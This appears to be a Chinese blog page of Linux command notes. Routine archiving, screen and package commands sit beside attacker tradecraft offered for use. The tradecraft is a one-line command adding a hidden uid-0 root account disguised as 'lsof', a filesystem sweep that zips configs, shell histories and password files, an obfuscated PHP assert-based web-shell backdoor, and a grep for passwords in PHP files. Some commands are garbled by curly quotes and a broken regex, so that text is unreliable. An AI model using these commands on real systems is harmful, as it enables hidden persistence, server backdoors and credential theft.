Linux 操作

Linux 操作.txt

1: 压缩

zip -r 1.zip dir/*

2: linux 一条命令添加一个 root 级别账户并设置密码

useradd -p openssl passwd -1 -salt ‘lsof’ admin -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof

3:Linux shell script for information gathering|Linux 收集信息小脚本

找出所有. sh .pl .py .conf .cnf .ini .history .pass* (/usr/share 目录里面的除外) 并且在当前目录 zip 打包。有些时候很多配置文件的权限配置不严,如果搜集完全的话对于进行下一步有很大帮助。

Find all .sh .pl .py .conf .cnf .ini .history .pass* (Except in /usr/share) then zip in current directory

find / ! -path “/usr/share/” -regex “..sh |..pl |..py |..conf |..cnf |..ini |./..history$|./..pass.” -print|zip pack.zip -@

4:tar

tar cvfz chuli.tar.gz chuli/*

tar cvfz icon.tar.gz ico/*

5:array_push 后门

array_map(“ass\x65rt”,(array)$_REQUEST[‘array’]);

6: 特殊压缩

tar -cvf user/tmp/ooouser.tar user/ –exclude=image –exclude= –exclude .jpg –exclude .gif –exclude .zip –exclude .bmp –exclude .eps –exclude .psd

7: 查看版本

more /etc/issue

8:screen

screen -r 31601 介入

screen -S ya

screen -ls 查看当前的 screen

Ctrl+a+d #按 Ctrl+a,然后再按 d 即可保留 Screen

9:ls

ls -lh : 查看文件大小 以 m 为单位

10: 查询文件中包含的字符

find / -type f -name “*.php” | xargs grep “password”

11: 查看软件版本

先用 apt-cache search 找到软件的准确名字,再用 apt-cache show 来看详细的信息

RHEL 5.x / CentOS 5.x
rpm -Uvh http://download.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm
rpm -Uvh http://download.fedoraproject.org/pub/epel/5/x86_64/epel-release-5-4.noarch.rpm

RHEL 6.x / CentOS 6.x
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm
rpm -Uvh http://download.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值